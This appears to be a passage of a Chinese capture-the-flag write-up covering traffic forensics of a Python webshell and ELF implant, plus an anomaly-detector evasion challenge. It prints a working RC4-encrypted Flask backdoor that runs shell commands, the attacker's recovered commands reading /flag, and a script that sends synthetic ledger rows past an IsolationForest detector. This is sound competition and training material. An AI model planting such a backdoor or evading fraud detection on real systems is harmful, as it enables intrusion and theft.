RC4_SECRET = b'v1p3r_5tr1k3_k3y'
def rc4_crypt(data: bytes, key: bytes) -> bytes:
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
i = j = 0
res = bytearray()
for char in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
res.append(char ^ S[(S[i] + S[j]) % 256])
return bytes(res)
def backdoor_handler():
if request.headers.get('X-Token-Auth') != '3011aa21232beb7504432bfa90d32779':
return "Error"
enc_hex_cmd = request.form.get('data')
if not enc_hex_cmd:
return ""
try:
enc_cmd = binascii.unhexlify(enc_hex_cmd)
cmd = rc4_crypt(enc_cmd, RC4_SECRET).decode('utf-8', errors='ignore')
output_bytes = getattr(os, 'popen')(cmd).read().encode('utf-8', errors='ignore')
enc_output = rc4_crypt(output_bytes, RC4_SECRET)
return binascii.hexlify(enc_output).decode()
except:
return "Error"
app.error_handler_spec[None][code][exc_class]=lambda error: backdoor_handler()

flag{v1p3r_5tr1k3_k3y}

SnakeBackdoor-4

攻击者上传了一个二进制后门,请写出木马进程执行的本体文件的名称,结果提交形式:flag{xxxxx},仅写文件名不加路径

根据上一题的shell的内容,使用rc4解密data数据

在stream 1817中看到对木马进行了伪装

flag{python3.13}

SnakeBackdoor-5

请提取驻留的木马本体文件,通过逆向分析找出木马样本通信使用的加密密钥(hex,小写字母),结果提交形式:flag{[0-9a-f]+}

提取流量包中传输的zip,密码在stream 1813

分析elf文件

先接收4字节seed,字节序转换当作随机种子

1
2
3
sub_18ED(fd, &v7, 4, 0)
seed = byteswap32(v7);
srand(seed);

调用 srand,连续 rand() 4 次,得到 16 字节 通信密钥

1
2
3
4
5
for (i=0; i<=3; ++i)
v8[i] = rand();

sub_13B4(v10, v8, 0);
sub_13B4(v9, v8, 1);

需要找到服务端发送的4个字节的seed

在执行/tmp/python3.13后的第一个包的前四个字节可以得到0x34, 0x95, 0x20, 0x46

还原

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/env python3
import ctypes
import struct

libc = ctypes.CDLL(None)
libc.srand.argtypes = [ctypes.c_uint]


seed_bytes = bytes([0x34, 0x95, 0x20, 0x46])
seed = int.from_bytes(seed_bytes, "big")
libc.srand(ctypes.c_uint(seed))

rands = [ctypes.c_uint32(libc.rand()).value for _ in range(4)]
key = struct.pack("<4I", *rands)

print("rand outputs:", [f"0x{x:08x}" for x in rands])
print("sm4 mk:", key.hex())

SnakeBackdoor-6

请提交攻击者获取服务器中的flag。结果提交形式:flag{xxxx}

分析elf文件,发现对数据进行了SM4加密,直接解解不出来,应该改了参数

从ELF中提取SBox以及FK/CK常量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
.rodata:0000000000002020 byte_2020       db 0D6h, 90h, 0E9h, 0FEh, 0CCh, 0E1h, 3Dh, 0B7h, 16h, 0B6h
.rodata:0000000000002020 ; DATA XREF: sub_1229+26↑o
.rodata:000000000000202A db 14h, 0C2h, 28h, 0FBh, 2Ch, 5, 2Bh, 67h, 9Ah, 76h, 2Ah
.rodata:0000000000002035 db 0BEh, 4, 0C3h, 0AAh, 44h, 13h, 26h, 49h, 86h, 6, 99h
.rodata:0000000000002040 db 9Ch, 42h, 50h, 0F4h, 91h, 0EFh, 98h, 7Ah, 33h, 54h
.rodata:000000000000204A db 0Bh, 43h, 0EDh, 0CFh, 0ACh, 62h, 0E4h, 0B3h, 1Ch, 0A9h
.rodata:0000000000002054 db 0C9h, 8, 0E8h, 95h, 80h, 0DFh, 94h, 0FAh, 75h, 8Fh
.rodata:000000000000205E db 3Fh, 0A6h, 47h, 7, 0A7h, 0FCh, 0F3h, 73h, 17h, 0BAh
.rodata:0000000000002068 db 83h, 59h, 3Ch, 19h, 0E6h, 85h, 4Fh, 0A8h, 68h, 6Bh
.rodata:0000000000002072 db 81h, 0B2h, 71h, 64h, 0DAh, 8Bh, 0F8h, 0EBh, 0Fh, 4Bh
.rodata:000000000000207C db 70h, 56h, 9Dh, 35h, 1Eh, 24h, 0Eh, 5Eh, 63h, 58h, 0D1h
.rodata:0000000000002087 db 0A2h, 25h, 22h, 7Ch, 3Bh, 1, 21h, 78h, 87h, 0D4h, 0
.rodata:0000000000002092 db 46h, 57h, 9Fh, 0D3h, 27h, 52h, 4Ch, 36h, 2, 0E7h, 0A0h
.rodata:000000000000209D db 0C4h, 0C8h, 9Eh, 0EAh, 0BFh, 8Ah, 0D2h, 40h, 0C7h, 38h
.rodata:00000000000020A7 db 0B5h, 0A3h, 0F7h, 0F2h, 0CEh, 0F9h, 61h, 15h, 0A1h
.rodata:00000000000020B0 db 0E0h, 0AEh, 5Dh, 0A4h, 9Bh, 34h, 1Ah, 55h, 0ADh, 93h
.rodata:00000000000020BA db 32h, 30h, 0F5h, 8Ch, 0B1h, 0E3h, 1Dh, 0F6h, 0E2h, 2Eh
.rodata:00000000000020C4 db 82h, 66h, 0CAh, 60h, 0C0h, 29h, 23h, 0ABh, 0Dh, 53h
.rodata:00000000000020CE db 4Eh, 6Fh, 0D5h, 0DBh, 39h, 0B8h, 31h, 11h, 0Ch, 5Ah
.rodata:00000000000020D8 db 0CBh, 3Eh, 0Ah, 45h, 0E5h, 94h, 77h, 5Bh, 8Dh, 6Dh
.rodata:00000000000020E2 db 48h, 41h, 10h, 0BDh, 9, 0C1h, 4Ah, 89h, 0Dh, 6Eh, 97h
.rodata:00000000000020ED db 0A1h, 1Dh, 16h, 0Ah, 0D9h, 88h, 6Ah, 96h, 0D1h, 6Bh
.rodata:00000000000020F7 db 32h, 2, 35h, 46h, 6, 7Dh, 65h, 49h, 8Ch, 0F0h, 3Eh
.rodata:0000000000002102 db 2Dh, 7Ah, 15h, 0FFh, 5, 8Eh, 1, 84h, 3Ch, 3Ah, 38h
.rodata:000000000000210D db 53h, 87h, 7Bh, 0Bh, 2Bh, 7Eh, 0Fh, 0F6h, 69h, 0A8h
.rodata:0000000000002117 db 5Ah, 0B5h, 4Ch, 1Bh, 39h, 7Fh, 8, 8Dh, 1Ch

然后解密数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import struct

RAW_HEX = """00000030
7f4b0ef4806983f164af6f46b71d3fce1e3c0bd00c4dd162b72c156f0f3aecd2afcabf551e08380db6fd20316f8a2729"""

KEY_HEX = "ac46fb610b313b4f32fc642d8834b456"
SBOX_HEX = (
"d690e9fecce13db716b614c228fb2c05"
"2b679a762abe04c3aa44132649860699"
"9c4250f491ef987a33540b43edcfac62"
"e4b31ca9c908e89580df94fa758f3fa6"
"4707a7fcf37317ba83593c19e6854fa8"
"686b81b27164da8bf8eb0f4b70569d35"
"1e240e5e6358d1a225227c3b01217887"
"d40046579fd327524c3602e7a0c4c89e"
"eabf8ad240c738b5a3f7f2cef96115a1"
"e0ae5da49b341a55ad933230f58cb1e3"
"1df6e22e8266ca60c02923ab0d534e6f"
"d5db39b831110c5acb3e0a45e594775b"
"8d6d484110bd09c14a890d6e97a11d16"
"0ad9886a96d16b32023546067d65498c"
"f03e2d7a15ff058e01843c3a3853877b"
"0b2b7e0ff669a85ab54c1b397f088d1c"
)

FK = [0xA3B1BAC6, 0x56AA3350, 0x677D9197, 0xB27022DC]
CK = [
0x00070E15, 0x1C232A31, 0x383F464D, 0x545B6269,
0x70777E85, 0x8C939AA1, 0xA8AFB6BD, 0xC4CBD2D9,
0xE0E7EEF5, 0xFC030A11, 0x181F262D, 0x343B4249,
0x50575E65, 0x6C737A81, 0x888F969D, 0xA4ABB2B9,
0xC0C7CED5, 0xDCE3EAF1, 0xF8FF060D, 0x141B2229,
0x30373E45, 0x4C535A61, 0x686F767D, 0x848B9299,
0xA0A7AEB5, 0xBCC3CAD1, 0xD8DFE6ED, 0xF4FB0209,
0x10171E25, 0x2C333A41, 0x484F565D, 0x646B7279,
]

SBOX = list(bytes.fromhex(SBOX_HEX))
KEY = bytes.fromhex(KEY_HEX)

def rol32(x, n):
x &= 0xFFFFFFFF
return ((x << n) & 0xFFFFFFFF) | (x >> (32 - n))

def tau_le(x):
b0 = (x >> 24) & 0xFF
b1 = (x >> 16) & 0xFF
b2 = (x >> 8) & 0xFF
b3 = x & 0xFF
return (SBOX[b0]
| (SBOX[b1] << 8)
| (SBOX[b2] << 16)
| (SBOX[b3] << 24))

def T(x):
b = tau_le(x)
return b ^ rol32(b, 2) ^ rol32(b, 10) ^ rol32(b, 18) ^ rol32(b, 24)

def Tp(x):
b = tau_le(x)
return b ^ rol32(b, 13) ^ rol32(b, 23)

def key_schedule(mk_bytes):
MK = list(struct.unpack(">4I", mk_bytes))
K = [MK[i] ^ FK[i] for i in range(4)]
rk = []
for i in range(32):
t = (K[i] ^ Tp(K[i+1] ^ K[i+2] ^ K[i+3] ^ CK[i])) & 0xFFFFFFFF
K.append(t)
rk.append(t)
return rk

def crypt_block(block16, rk32):
X = list(struct.unpack(">4I", block16))
for i in range(32):
X.append((X[i] ^ T(X[i+1] ^ X[i+2] ^ X[i+3] ^ rk32[i])) & 0xFFFFFFFF)
return struct.pack(">4I", X[35], X[34], X[33], X[32])

def sm4_ecb(data, rk32):
return b"".join(crypt_block(data[i:i+16], rk32) for i in range(0, len(data), 16))

def pkcs7_unpad_loose(b):
pad = b[-1]
return b[:-pad] if 1 <= pad <= 16 else b

def main():
raw = bytes.fromhex(RAW_HEX)
ln = int.from_bytes(raw[:4], "big")
ct = raw[4:4+ln]

rk_dec = key_schedule(KEY)[::-1]
pt = pkcs7_unpad_loose(sm4_ecb(ct, rk_dec))

print(pt.decode("utf-8", errors="replace"), end="")

if __name__ == "__main__":
main()

共六条命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
[1] $ pwd
/tmp/app

------------------------------------------------------------
[2] $ id
uid=0(root) gid=0(root) groups=0(root)

------------------------------------------------------------
[3] $ ls -al /
total 3960948
drwxr-xr-x 24 root root 4096 Nov 28 01:42 .
drwxr-xr-x 24 root root 4096 Nov 28 01:42 ..
lrwxrwxrwx 1 root root 7 Apr 22 2024 bin -> usr/bin
drwxr-xr-x 2 root root 4096 Feb 26 2024 bin.usr-is-merged
drwxr-xr-x 4 root root 4096 Dec 16 06:34 boot
dr-xr-xr-x 2 root root 4096 Aug 27 2024 cdrom
drwxr-xr-x 3 root root 4096 Feb 11 2025 data
drwxr-xr-x 20 root root 4060 Nov 28 01:21 dev
drwxr-xr-x 125 root root 12288 Dec 13 06:22 etc
-rw-r--r-- 1 root root 43 Nov 26 07:44 flag
drwxr-xr-x 3 root root 4096 Feb 8 2025 home
lrwxrwxrwx 1 root root 7 Apr 22 2024 lib -> usr/lib
lrwxrwxrwx 1 root root 9 Apr 18 2025 lib32 -> usr/lib32
lrwxrwxrwx 1 root root 9 Apr 22 2024 lib64 -> usr/lib64
drwxr-xr-x 2 root root 4096 Feb 26 2024 lib.usr-is-merged
drwx------ 2 root root 16384 Feb 8 2025 lost+found
drwxr-xr-x 2 root root 4096 Aug 27 2024 media
drwxr-xr-x 2 root root 4096 Aug 27 2024 mnt
drwxr-xr-x 4 root root 4096 Nov 26 02:45 opt
dr-xr-xr-x 326 root root 0 Nov 28 01:21 proc
drwx------ 20 root root 4096 Dec 21 05:04 root
drwxr-xr-x 36 root root 1120 Dec 21 04:49 run
lrwxrwxrwx 1 root root 8 Apr 22 2024 sbin -> usr/sbin
drwxr-xr-x 2 root root 4096 Apr 3 2024 sbin.usr-is-merged
drwxr-xr-x 2 root root 4096 Feb 8 2025 snap
drwxr-xr-x 2 root root 4096 Aug 27 2024 srv
-rw------- 1 root root 4055891968 Feb 8 2025 swap.img
dr-xr-xr-x 13 root root 0 Nov 28 01:21 sys
drwxrwxrwt 18 root root 12288 Dec 21 05:10 tmp
drwxr-xr-x 13 root root 4096 Apr 18 2025 usr
drwxr-xr-x 13 root root 4096 Apr 23 2025 var
-rw-r--r-- 1 root root 0 Jun 10 2025 wget-log
-rw-r--r-- 1 root root 0 Jun 10 2025 wget-log.1
-rw-r--r-- 1 root root 0 Jun 10 2025 wget-log.2
-rw-r--r-- 1 root root 0 Sep 27 02:06 wget-log.3
-rw-r--r-- 1 root root 0 Sep 27 02:06 wget-log.4
-rw-r--r-- 1 root root 0 Sep 27 02:06 wget-log.5
-rw-r--r-- 1 root root 0 Oct 18 07:12 wget-log.6
-rw-r--r-- 1 root root 0 Oct 18 07:12 wget-log.7
-rw-r--r-- 1 root root 0 Oct 18 07:12 wget-log.8

------------------------------------------------------------
[4] $ cat /flag | tr '1' 'l' | tr '0' 'O'
flag{6894c9ec-7l9b-46O5-82bf-4felde27738f}

------------------------------------------------------------
[5] $ echo "hach by hahahah" > /tmp/hacked
(no output)

------------------------------------------------------------
[6] $ exit
(no output)

根据命令替换下得到 flag{6894c9ec-719b-4605-82bf-4fe1de27738f}


或者可以直接改rip跳过去补参数解密数据

AI安全

The Silent Heist

​题目中给了我们1000条正常数据,虽然我们不知道具体的特征含义,但我们可以假设数据服从某种高维概率分布。这里我们用GMM模型使用正态分布来最大程度地解释现有数据。当GMM训练完成,它就掌握了数据的模型。我们可以调用 gmm.sample(n_samples) 来生成全新的数据点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
import pandas as pd
import numpy as np
from sklearn.mixture import GaussianMixture
from sklearn.ensemble import IsolationForest
import io

HOST = '39.107.121.54'
PORT = 28678

def generate_payload():
df = pd.read_csv('public_ledger.csv')
gmm = GaussianMixture(n_components=1, random_state=42)
gmm.fit(df)
n_samples = 8000
X_sampled, _ = gmm.sample(n_samples)

columns = [f'feat_{i}' for i in range(20)]
df_sampled = pd.DataFrame(X_sampled, columns=columns)

df_renamed = df.copy()
df_renamed.columns = columns

clf = IsolationForest(contamination=0.01, random_state=42)
clf.fit(df_renamed)

preds = clf.predict(df_sampled)
df_valid = df_sampled[preds == 1].copy()

common = pd.merge(df_valid, df_renamed, on=columns, how='inner')
if not common.empty:
df_valid = pd.concat([df_valid, common, common]).drop_duplicates(keep=False)

df_valid = df_valid.drop_duplicates()
total_amount = df_valid['feat_0'].sum()
csv_content = df_valid.to_csv(index=False)
payload = csv_content + "EOF"
return payload

def attack():
payload = generate_payload()
try:
conn = remote(HOST, PORT)
initial_msg = conn.recv(timeout=2)
conn.send(payload)
response = conn.recvall(timeout=5)
conn.close()

except Exception as e:
print(e)

if __name__ == '__main__':
attack()

​当生成差不多8000条数据的时候总金额就可以超过$2,000,000


第十九届全国大学生信息安全竞赛暨第三届长城杯网数智安全大赛 初赛-wp
https://www.dr0n.top/posts/22eff239/
作者
dr0n
发布于
2025年12月28日
更新于
2025年12月29日
许可协议